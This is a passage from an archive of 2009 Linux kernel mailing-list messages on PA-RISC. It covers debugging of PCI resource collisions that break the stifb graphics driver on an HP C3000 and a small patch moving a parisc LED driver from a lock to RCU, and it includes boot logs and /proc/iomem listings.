	for glpp-linux-parisc@lo.gmane.org; Tue, 10 Nov 2009 17:56:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757156AbZKJQ4f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Nov 2009 11:56:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757237AbZKJQ4f
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Nov 2009 11:56:35 -0500
Original-Received: from mail-ew0-f228.google.com ([209.85.219.228]:46158 "EHLO
	mail-ew0-f228.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757156AbZKJQ4e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Nov 2009 11:56:34 -0500
Original-Received: by ewy28 with SMTP id 28so235817ewy.18
        for <linux-parisc@vger.kernel.org>; Tue, 10 Nov 2009 08:56:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:mail-followup-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=jGH0bQI87sWRXJgVnkNJKnMkC1tROw+c38KUcvGGSrw=;
        b=nenyA4ZqF8qtewJ5/EJb4G7tHMg9mZiACEfoxL9NDwnNCxdPbd0QzI6Th/vh/rLYu6
         0Mew1jMac3pbfgpiCZSCBeh8JMzrQav7DuJZKSplcDvkBkwMJRHxE43zVBGps5GX2IVN
         lmetmG15zutAke50oQw0/OmE0I1KIECpXQslk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=eWi4+Owf9QOaztTOANgI1U4rXNUwdLZ4kXcdvc1+MTvca/uNdFOi9lGJIrX/IEzf1F
         Q5WRh/mT+frm/hiySDw0kxeVcrMe4nc18CxLGkpDb/InbLPiriDG5EjfDzbw7vjFG+Qg
         dp0yYIiG1fH5Q9g+LqFCiILPwdLNyjs0vzZn8=
Original-Received: by 10.216.91.66 with SMTP id g44mr93917wef.121.1257872198760;
        Tue, 10 Nov 2009 08:56:38 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host17-21-dynamic.45-79-r.retail.telecomitalia.it [79.45.21.17])
        by mx.google.com with ESMTPS id i34sm2659186gve.8.2009.11.10.08.56.35
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 10 Nov 2009 08:56:36 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id 5C7F530149; Tue, 10 Nov 2009 17:56:34 +0100 (CET)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Content-Disposition: inline
In-Reply-To: <4AF099F7.10903@gmx.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2323>

On Tue, Nov 03, 2009 at 10:00:39PM +0100, Helge Deller wrote:
> Hi all,

hi,

> Something broke the stifb graphics driver in 2.6.32-rc5 (Linus' current head).

mine was a PCI controller for additional USB ports or maybe the MGA
graphic controller, i don't rememer. i will check ;)

> Somehow it seems, that the PCI subsystem does not activate this PCI slot:
> 
> Linux version 2.6.32-rc5-32bit (deller@p100) (gcc version 4.4.1 (GCC) ) #157 Tue Nov 3 21:49:24 CET 2009
> ...
> Searching for devices...
> Found devices:
> 1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> 2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> 3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> 4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> 5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> 6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
> 7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
> Setting cache flush threshold to 780 (1 CPUs online)
> SBA found Astro 2.1 at 0xfed00000
> Elroy version TR4.0 (0x5) found at 0xfed30000
> PCI: Enabled native mode for NS87415 (pif=0x8f)
> Elroy version TR4.0 (0x5) found at 0xfed32000
> pci 0000:01:04.0: BAR 0: no parent found for of device [0xfa000000-0xfbffffff]
> 			^^^  HERE

i had a couple of these messages and also a couple of BAR collisions
on my J5600, recently booted with 2.6.32-rc6.

these threads seem related:

  http://lkml.org/lkml/2009/8/2/82
  http://lkml.org/lkml/2009/11/9/356

i will try to learn something new later, when I turn on my hppa box later.

cheers,
Domenic

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Hemminger <shemminger@vyatta.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH 05/10] parisc: use RCU to find network device
Date: Tue, 10 Nov 2009 09:54:51 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20091110175647.480041042@vyatta.com>
References: <20091110175446.280423729@vyatta.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1257876854 19324 80.91.229.12 (10 Nov 2009 18:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Nov 2009 18:14:14 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Nov 10 19:14:08 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7vED-0008Lh-T9
	for linux-netdev-2@lo.gmane.org; Tue, 10 Nov 2009 19:14:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756449AbZKJSN4 (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 10 Nov 2009 13:13:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756222AbZKJSNz
	(ORCPT <rfc822;netdev-outgoing>); Tue, 10 Nov 2009 13:13:55 -0500
Original-Received: from suva.vyatta.com ([76.74.103.44]:49510 "EHLO suva.vyatta.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755568AbZKJSNy (ORCPT <rfc822;netdev@vger.kernel.org>);
	Tue, 10 Nov 2009 13:13:54 -0500
Original-Received: from suva.vyatta.com (suva [127.0.0.1])
	by suva.vyatta.com (8.13.7/8.13.7) with ESMTP id nAAI7fCm000505;
	Tue, 10 Nov 2009 10:07:41 -0800
Original-Received: (from shemminger@localhost)
	by suva.vyatta.com (8.13.7/8.13.7/Submit) id nAAI7Zq3000501;
	Tue, 10 Nov 2009 10:07:35 -0800
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=parisc-rdlock.patch
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:143165 gmane.linux.ports.parisc:2324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2324>

Another place where RCU can be used instead of read_lock(&dev_base_lock)
This is by inspection, don't have platform or cross-build environment
to validate.

Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>


--- a/drivers/parisc/led.c	2009-11-09 22:19:07.223480872 -0800
+++ b/drivers/parisc/led.c	2009-11-10 09:28:38.279438787 -0800
@@ -354,9 +354,8 @@ static __inline__ int led_get_net_activi
 	
 	/* we are running as a workqueue task, so locking dev_base 
 	 * for reading should be OK */
-	read_lock(&dev_base_lock);
 	rcu_read_lock();
-	for_each_netdev(&init_net, dev) {
+	for_each_netdev_rcu(&init_net, dev) {
 	    const struct net_device_stats *stats;
 	    struct in_device *in_dev = __in_dev_get_rcu(dev);
 	    if (!in_dev || !in_dev->ifa_list)
@@ -368,7 +367,6 @@ static __inline__ int led_get_net_activi
 	    tx_total += stats->tx_packets;
 	}
 	rcu_read_unlock();
-	read_unlock(&dev_base_lock);
 
 	retval = 0;
 

-- 

--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH 05/10] parisc: use RCU to find network device
Date: Tue, 10 Nov 2009 19:26:05 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <4AF9B03D.3010409@gmail.com>
References: <20091110175446.280423729@vyatta.com> <20091110175647.480041042@vyatta.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1257877605 22342 80.91.229.12 (10 Nov 2009 18:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Nov 2009 18:26:45 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: Stephen Hemminger <shemminger@vyatta.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Nov 10 19:26:37 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7vQI-0006FM-GL
	for linux-netdev-2@lo.gmane.org; Tue, 10 Nov 2009 19:26:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756723AbZKJS0N convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Tue, 10 Nov 2009 13:26:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755731AbZKJS0M
	(ORCPT <rfc822;netdev-outgoing>); Tue, 10 Nov 2009 13:26:12 -0500
Original-Received: from gw1.cosmosbay.com ([212.99.114.194]:37519 "EHLO
	gw1.cosmosbay.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755199AbZKJS0L (ORCPT
	<rfc822;netdev@vger.kernel.org>); Tue, 10 Nov 2009 13:26:11 -0500
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by gw1.cosmosbay.com (8.13.7/8.13.7) with ESMTP id nAAIQ55b001340;
	Tue, 10 Nov 2009 19:26:05 +0100
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20091110175647.480041042@vyatta.com>
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (gw1.cosmosbay.com [0.0.0.0]); Tue, 10 Nov 2009 19:26:06 +0100 (CET)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:143175 gmane.linux.ports.parisc:2325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2325>

Stephen Hemminger a =E9crit :
> Another place where RCU can be used instead of read_lock(&dev_base_lo=
ck)
> This is by inspection, don't have platform or cross-build environment
> to validate.
>=20
> Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>
>=20

Duplicate of previously posted patch...

http://article.gmane.org/gmane.linux.network/143072



--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci 0000:01:04.0: BAR 0: no parent found for of device
Date: Tue, 10 Nov 2009 22:55:05 +0100
Lines: 221
Approved: news@gmane.org
Message-ID: <4AF9E139.7000002@gmx.de>
References: <4AF099F7.10903@gmx.de> <20091106062234.GC4574@lackof.org> <4AF4890B.4050700@gmx.de> <20091106235405.GC5262@lackof.org> <20091106235525.GD5262@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257890119 4454 80.91.229.12 (10 Nov 2009 21:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Nov 2009 21:55:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 10 22:55:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7ygB-0006OB-BK
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 Nov 2009 22:55:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754443AbZKJVzE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Nov 2009 16:55:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758354AbZKJVzE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Nov 2009 16:55:04 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53192 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1758372AbZKJVzC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Nov 2009 16:55:02 -0500
Original-Received: (qmail invoked by alias); 10 Nov 2009 21:55:05 -0000
Original-Received: from p4FDB2ACB.dip0.t-ipconnect.de (EHLO halden.box) [79.219.42.203]
  by mail.gmx.net (mp008) with SMTP; 10 Nov 2009 22:55:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/rn6chLEHro0gbCz00s1a344tumHL/jU+k1DUexC
	uPEmNk6XOmxOcl
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091106235525.GD5262@lackof.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2326>

On 11/07/2009 12:55 AM, Grant Grundler wrote:
> On Fri, Nov 06, 2009 at 04:54:05PM -0700, Grant Grundler wrote:
>> On Fri, Nov 06, 2009 at 09:37:31PM +0100, Helge Deller wrote:
>>>> IIRC, the graphics frame buffers are routed by every Elroy ELMMIO register
>>>> on all 4 Elroys. If you can get the machine to NOT HPMC,
>>>> ELMMIO resources should be listed in /proc/iomem for workstations.
>>>
>>> Ok, the good thing is, that it doesn't HPMCs.
>>> But sadly I have no clue about what you write above :-(
>>
>> Heh...Here is a short and probably inadequate explanation.
>>
>> Elroy has 3 MMIO range registers that determine which physical
>> addresses will get routed down to the PCI bus:
>>     LMMIO  32-bit MMIO address range
>>     ELMMIO "Extra" 32-bit MMIO address range
>>     GMMIO  64-bit MMIO address range
>>
>> The Astro that is upstream (via ropes) is also programmed to route
>> specific addresses to specific Elroy devices. Including the ELMMIO
>> and GMMIO ranges.
>>
>> The upstream routing is essentially the negative decoding of the
>> downstream routing. So if f9000000-f9ffffff is routed down to
>> elroy with PCI01, then any addresses generated by the PCI devices
>> OUTSIDE of that range will get routed upstream since Elroy
>> is designed to believe there is no device on that bus that will
>> respond to addresses outside that range.
>>
>> It might be easiest to think of each MMIO transaction (read or write)
>> as a network packet traversing a fabric and the MMIO address is
>> the equivalent to an IP address. Each component in the path has
>> a "routing table" (one or more MMIO range registers) to decide
>> what to do with the packet.
>>
>>>
>>> Syslog says:
>>> SBA found Astro 2.1 at 0xfed00000
>>> Elroy version TR4.0 (0x5) found at 0xfed30000
>>> PCI: Enabled native mode for NS87415 (pif=0x8f)
>>> Elroy version TR4.0 (0x5) found at 0xfed32000
>>> pci 0000:01:04.0: BAR 0: no parent found for of device [0xfa000000-0xfbffffff]
>>> iosapic: hpa not registered for 0000:01:04.0
>>> iosapic: hpa not registered for 0000:01:05.0
>>> Elroy version TR4.0 (0x5) found at 0xfed38000
>>> Elroy version TR4.0 (0x5) found at 0xfed3c000
>>> iosapic: hpa not registered for 0000:03:02.0
>>> powersw: Soft power switch at 0xf0400804 enabled.
>>>
>>>
>>> Maybe it's important, that 2 Elroys are detected before the BAR0 message and 2 afterwards?
>>
>> Yes, I think it is. There are two ELMMIO ranges being routed to PCI01 and
>> PCI03.  Need to determine if those are the right PCI busses (ergo Elroy)
>> for those devices and that the same resources are available in the kernel
>> that is failing to boot. Just hack lba_pci.c to dump more info about
>> the address routing while it's booting.

I added the patch from Matthew from http://lkml.org/lkml/2009/8/2/106.
Here is the log. Does this helps?

Elroy version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Inserting resource 0000:00:0c.0 [0x1000-0x107f] (BAR 0) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0c.0 [0xf2008000-0xf20083ff] (BAR 1) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0c.0 [0xf2040000-0xf207ffff] (BAR 6) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0d.0 [0xf200c000-0xf200c1ff] (BAR 0) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0d.0 [0xf200b000-0xf200b00f] (BAR 1) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0d.0 [0xf200a000-0xf200a00f] (BAR 2) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0d.0 [0xf2009000-0xf200900f] (BAR 3) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0e.0 [0xf00-0xf07] (BAR 0) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0e.0 [0xe00-0xe03] (BAR 1) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0e.0 [0xd00-0xd07] (BAR 2) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0e.0 [0xb00-0xb03] (BAR 3) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0e.0 [0xa00-0xa0f] (BAR 4) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0e.2 [0xf2007000-0xf2007fff] (BAR 0) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0e.2 [0xf2006000-0xf2006fff] (BAR 1) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0f.0 [0x900-0x9ff] (BAR 0) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0f.0 [0xf2005000-0xf20053ff] (BAR 1) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0f.0 [0xf2002000-0xf2003fff] (BAR 3) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0f.1 [0x800-0x8ff] (BAR 0) inside resource PCI00 Ports [0x00-0x1fff]
Inserting resource 0000:00:0f.1 [0xf2004000-0xf20043ff] (BAR 1) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Inserting resource 0000:00:0f.1 [0xf2000000-0xf2001fff] (BAR 3) inside resource PCI00 LMMIO [0xf2000000-0xf23fffff]
Elroy version TR4.0 (0x5) found at 0xfed32000
No parent found for resource 0000:01:04.0 [0xfa000000-0xfbffffff]
pci 0000:01:04.0: BAR 0: no parent found for of device [0xfa000000-0xfbffffff]
Inserting resource 0000:01:04.0 [0xf2400000-0xf240ffff] (BAR 6) inside resource PCI01 LMMIO [0xf2400000-0xf27fffff]
iosapic: hpa not registered for 0000:01:04.0
Inserting resource 0000:01:05.0 [0xf9000000-0xf9ffffff] (BAR 0) inside resource PCI01 ELMMIO [0xf9000000-0xf9ffffff]
iosapic: hpa not registered for 0000:01:05.0
Elroy version TR4.0 (0x5) found at 0xfed38000
Inserting resource 0000:02:01.0 [0xf3000000-0xf3003fff] (BAR 0) inside resource PCI02 LMMIO [0xf3000000-0xf33fffff]
Inserting resource 0000:02:03.0 [0x28000-0x2807f] (BAR 0) inside resource PCI02 Ports [0x28000-0x29fff]
Inserting resource 0000:02:03.0 [0xf3004000-0xf300407f] (BAR 1) inside resource PCI02 LMMIO [0xf3000000-0xf33fffff]
Inserting resource 0000:02:03.0 [0xf3040000-0xf307ffff] (BAR 6) inside resource PCI02 LMMIO [0xf3000000-0xf33fffff]
Elroy version TR4.0 (0x5) found at 0xfed3c000
Inserting resource 0000:03:02.0 [0xf6000000-0xf7ffffff] (BAR 0) inside resource PCI03 ELMMIO [0xf6000000-0xf7ffffff]
Inserting resource 0000:03:02.0 [0xf3800000-0xf39fffff] (BAR 6) inside resource PCI03 LMMIO [0xf3800000-0xf3bfffff]
iosapic: hpa not registered for 0000:03:02.0


>>> and here is /proc/iomem:
>>> root@c3000:~# cat /proc/iomem
>>> 00000000-7fffffff : System RAM
>>>    00000000-000009ff : PDC data (Page Zero)
>>>    00100000-00602fff : Kernel code
>>>    00603000-0073bfff : Kernel data
>>> f05d0000-f05d0000 : lcd_data
>>> f05d0008-f05d0008 : lcd_cmd
>>> f2000000-f23fffff : PCI00 LMMIO
>>>    f2000000-f2001fff : 0000:00:0f.1
>>>      f2000000-f2001fff : sym53c8xx
>>>    f2002000-f2003fff : 0000:00:0f.0
>>>      f2002000-f2003fff : sym53c8xx
>>>    f2004000-f20043ff : 0000:00:0f.1
>>>      f2004000-f20043ff : sym53c8xx
>>>    f2005000-f20053ff : 0000:00:0f.0
>>>      f2005000-f20053ff : sym53c8xx
>>>    f2006000-f2006fff : 0000:00:0e.2
>>>    f2007000-f2007fff : 0000:00:0e.2
>>>      f2007000-f2007fff : ohci_hcd
>>>    f2008000-f20083ff : 0000:00:0c.0
>>>      f2008000-f20083ff : tulip
>>>    f2009000-f200900f : 0000:00:0d.0
>>>    f200a000-f200a00f : 0000:00:0d.0
>>>    f200b000-f200b00f : 0000:00:0d.0
>>>    f200c000-f200c1ff : 0000:00:0d.0
>>>    f2040000-f207ffff : 0000:00:0c.0
>>> f2400000-f27fffff : PCI01 LMMIO
>>>    f2400000-f240ffff : 0000:01:04.0
>>> f3000000-f33fffff : PCI02 LMMIO
>>>    f3000000-f3003fff : 0000:02:01.0
>>>    f3004000-f300407f : 0000:02:03.0
>>>      f3004000-f300407f : tulip
>>>    f3040000-f307ffff : 0000:02:03.0
>>> f3800000-f3bfffff : PCI03 LMMIO
>>>    f3800000-f39fffff : 0000:03:02.0
>>> f6000000-f7ffffff : PCI03 ELMMIO
>>>    f6000000-f7ffffff : 0000:03:02.0
>>> f9000000-f9ffffff : PCI01 ELMMIO
>>>    f9000000-f9ffffff : 0000:01:05.0
>>
>> I suspect how these are parented has changed.
>> IIRC, Astro already "owns" this resource - but they aren't PCI devices.
>> I don't recall offhand how the resource is (if at all) advertised and
>> which Elroy's can even claim specific MMIO ranges.
>>
>> If the "fb at f6000000 (32 MB)" is coming from the PCI03 Elroy, then
>> you can be sure the MMIO resource is not being advertised correctly.
>> But the output below suggests its from PCI bus 1 (== PCI01 ? need to check).
>>
>> hth,
>> grant
>>
>>> fed00000-fed00fff : 10
>>> fed30000-fed30fff : 10:0
>>> fed32000-fed32fff : 10:1
>>> fed38000-fed38fff : 10:4
>>> fed3c000-fed3cfff : 10:6
>>> fef00000-feffffff : Astro Intr Ack
>>> fff80000-fffaffff : Central Bus
>>>    fffa0000-fffa0fff : 32
>>> fffb0000-fffdffff : Local Broadcast
>>> fffe0000-ffffffff : Global Broadcast
>>>
>>>
>>>
>>>>> ...
>>>>> STI GSC/PCI core graphics driver Version 0.9a
>>>>> sti 0000:01:04.0: device not available because of BAR 0 [0xfa000000-0xfbffffff] collisions
>>>>> sti 0000:01:04.0: Cannot enable PCI device
>>>>> 			^^^ HERE
>>>>> sti: probe of 0000:01:04.0 failed with error -22
>>>>> STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
>>>>>       id 35acda30-9a02587, conforms to spec rev. 8.0d
>>>>>       graphics card name: A1262A
>>>>> sticon: Initializing STI text console.
>>>>> Console: switching to colour STI console 128x48
>>>>> stifb: 'A1262A' (id: 0x35acda30) not supported.
>>>>> Linux agpgart interface v0.103
>>>>> ....
>>>>>
>>>>> Hopefully someone of you has an idea what caused this change?
>>>>
>>>> The automatic resource parenting code has changed a few times back
>>>> and forth over the last 2-3 major releases. I've lost track
>>>> but suspect it's probably easier to just look at what the
>>>> LBA range registers say (set up by PDC) and then get the PCI subsystem
>>>> to advertise those resources in a reasonable way.
>>>
>>> How can I see/check the LBA range registers?
>>> Where is the advertising done?
>>> Sorry, but I have no clue about PCI/LBA/Elroy/... ?
>>>
>>>> TBH, I'd rather spent a few hours this weekend debugging the PCI-PCI bridge
>>>> support on PAT machines.
>>>
>>> Understood.
>>> Any hints or untested patches would be great though...
>>>
>>>> hth,
>>>> grant
>>>
>>> Thanks,
>>> Helge
>>>
>>>
>>>>
>>>>>
>>>>> lspci reports:
>>>>> 01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
>>>>>           Flags: 66MHz, medium devsel
>>>>>           Memory at fa000000 (32-bit, non-prefetchable) [size=32M]
>>>>>           Expansion ROM at f2400000 [disabled] [size=64K]
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH 05/10] parisc: use RCU to find network device
Date: Tue, 10 Nov 2009 22:48:49 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20091110.224849.111240268.davem@davemloft.net>
References: <20091110175446.280423729@vyatta.com>
	<20091110175647.480041042@vyatta.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257922119 18472 80.91.229.12 (11 Nov 2009 06:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Nov 2009 06:48:39 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, a.beregalov@gmail.com,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: shemminger@vyatta.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 11 07:48:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N870I-0006lY-Ph
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 Nov 2009 07:48:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751823AbZKKGsX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Nov 2009 01:48:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751997AbZKKGsX
	(ORCPT <rfc822;linux-parisc-outgoing>);
